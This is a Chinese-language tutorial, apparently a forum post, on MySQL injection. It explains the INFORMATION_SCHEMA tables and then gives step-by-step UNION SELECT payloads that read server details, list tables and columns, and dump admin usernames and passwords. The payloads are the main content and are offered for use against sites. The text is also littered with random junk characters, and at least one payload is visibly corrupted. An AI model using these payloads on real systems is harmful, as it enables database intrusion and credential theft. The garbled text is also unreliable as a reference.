本文介绍MYSQL盲注的一些语句和方法. k+ D* e; v, g' `6 \# s
! o2 x. V4 C# u- T学习盲注前先了解下 IFORMATION_SCHEMA 库
9 X: j. B' m i0 k5 M$ }3 d( R, L! A3 N
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有% R) `+ G p4 l# e
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
* S; z& Q" E, {- A* O2 o) e7 o1.得到所有数据库名:4 B$ Z/ i, O9 [5 p! Q: J; U& L. L
|SCHEMATA ->存储数据库名的表
, q5 E( i6 v. ~" z m|---字段:SCHEMA_NAME ->数据库名称8 `* z( `# m; }, W- v# T3 S1 x
# O. i' V4 `9 Y% ^% `
|TABLES ->存储表名
3 A7 c/ [( Q% l+ k$ S, s, W) l|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名0 _" Z4 F( G2 z# ?+ S" \& G6 v
|---字段:TABLE_NAME ->存储表的表名
) K- O# ^0 q, ?) T2 P& E
. C8 ~" }+ q2 t' o8 m1 R|COLUMNS ->存储的字段名表; L9 d; Y; b+ `
|---字段:TABLE_SCHEMA ->该字段所属数据库名
: v) r q ?4 ]3 O4 S, Y|---字段:TABLE_NAME ->存储所属表的名称
- |4 e" z) H2 m$ }1 V$ e5 P8 h% a7 G
|---字段:COLUMN_NAME ->该字段的名称# }1 s7 l* N2 V/ X4 @# n. Y6 g
' C: L% z6 a6 q: c' ~' S
6 |# R! @9 y! C% j9 S; u# w* S) c
6 o+ {3 n- y H2 e E8 `1 c' _3 z###########################################################################
! p% e% E: n4 y7 G P; P9 u9 s6 ^; Y+ S L9 h
0x001 获取系统信息:
" {% T5 S, }* b0 ]: C% |4 }. O4 A1 c% e1 }1 @+ @
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
: [/ ]! D5 k+ [: \% D/ P3 ?0 S: Q7 U4 j* M U3 ~9 D2 V! B& Y
/*
4 I7 B& ?# s0 R( _2 R, Z, {3 f A+ w: Y
@@global.version_compile_os 获取系统版本. h5 x1 @. E9 |4 n" k
, {# v; U; S g8 O9 z. Z: x@@datadir 数据库路径
, @9 a/ w7 U( ^database() 当前数据库名称
- F$ F. Y4 B E; }* b% y0x3c62723e 换行HEX值% ]% ~, Y' b; O6 j
# S8 x% ?& v a( A*/
0 D$ V% }& U- j+ U
& f7 V3 X' {$ \9 P% f: W1 b
* H) D' j! d7 `6 E. m- ]
, K- C* g0 q4 ?5 _' k' p V######################################################################
# i5 z& T5 l# u4 a t4 j$ H) L) P& L2 T5 U+ r( l% e& n
0x002 获取表名3 i$ [: Q$ I9 N" H6 f/ `2 m& }: @9 Z
0 j% m) o: h; _+ E, C* Q; f
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*9 @ D" Y" c5 }7 W: Y
3 F9 p. l( B2 t2 O) D
- W! }! L: ]8 z8 S+ X0 P, S/ }4 B, m4 A; A2 ?' u
/*
4 [ e$ z# M& C% l! ?4 ^0 r, L$ m+ t G' X- C
0x67617264656e 为当前数据库名
' i8 J- g& B; P" y% h
! B8 J- F I/ g1 P4 c; Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名% i# X2 ^' z- B
, e" q7 `- }$ u7 W$ s0 }5 r$ ]
*/
- r5 h& W* H* p# ^2 B) U0 P
0 q: p/ P0 W& u( [! N######################################################################
3 Y9 G( ~4 B3 ~. @
( V' k. g/ e% H1 P8 n A) S5 x . q' V; y: b' q m0 @! b
% X5 e O; O6 S1 [: b( G
0x003 获取字段
V# e+ o5 \0 X d+ q
& c7 Q$ x! C( o" j+ i' {union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
* S; F# B% ?6 V( ~
) g! @$ T; F6 K/*
* Q5 M8 s u4 ~. {1 i6 Q
4 I# _& w5 Y) H: W% Kgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段 Q1 V! H0 R; v! r9 r/ |; X
& }( r8 n9 k: y2 R: }0x61646d696e ->选择一个表. G7 h$ p/ Y! d) F( g2 w
+ R6 v( J6 i% R+ U
0x67617264656e ->数据库名* [4 [; _% _/ r5 w
2 @8 L3 I0 m4 R' R; p
*/2 ?- I9 p) |6 s! Z" Y$ M
6 Q' S7 C. m2 S
#####################################################################( o: i6 S% }* G! r: _3 e
5 D5 t; d, G& m2 d% D- B8 O 0 n3 g) X) F: u- b+ L' |: A) h5 r+ S
N9 ~/ K' T' B) j4 R4 g# a, E0x004 获取数据
8 p+ P* m8 Y" @* h* u
# Y2 j; Y1 ~! u1 funion select 1,2,3# o; i" U% _6 h- [1 v
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
, d9 t1 ^7 a3 b7 X3 e+ T/ Q/ e# C( g) c4 b* |: a
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin' g8 M; K' C/ [8 K" i8 l
9 P: }8 s# p! z- ^2 ^. O$ {1 |
) ?9 e* p# w( o8 S5 a5 P! ?* ^& g7 s" c8 a% \2 G
/*
, q6 H$ @/ R9 _0 |) ~8 h2 F% x0 Q) h4 n( N5 b9 Q2 V
0x3c62723e 换行符号HEX编码8 O7 M Q$ [* o
1 \' _( |2 h4 Fgroup_concat 同时获得该字段所有数据
7 q4 A* \; Z+ q( Y- R/ j. h% t* ~ j9 J! \/ R- ?
*/
6 e/ \* ?' M- ?. d) m- c5 }5 l4 @
4 q+ r* B( }* @$ Q8 s |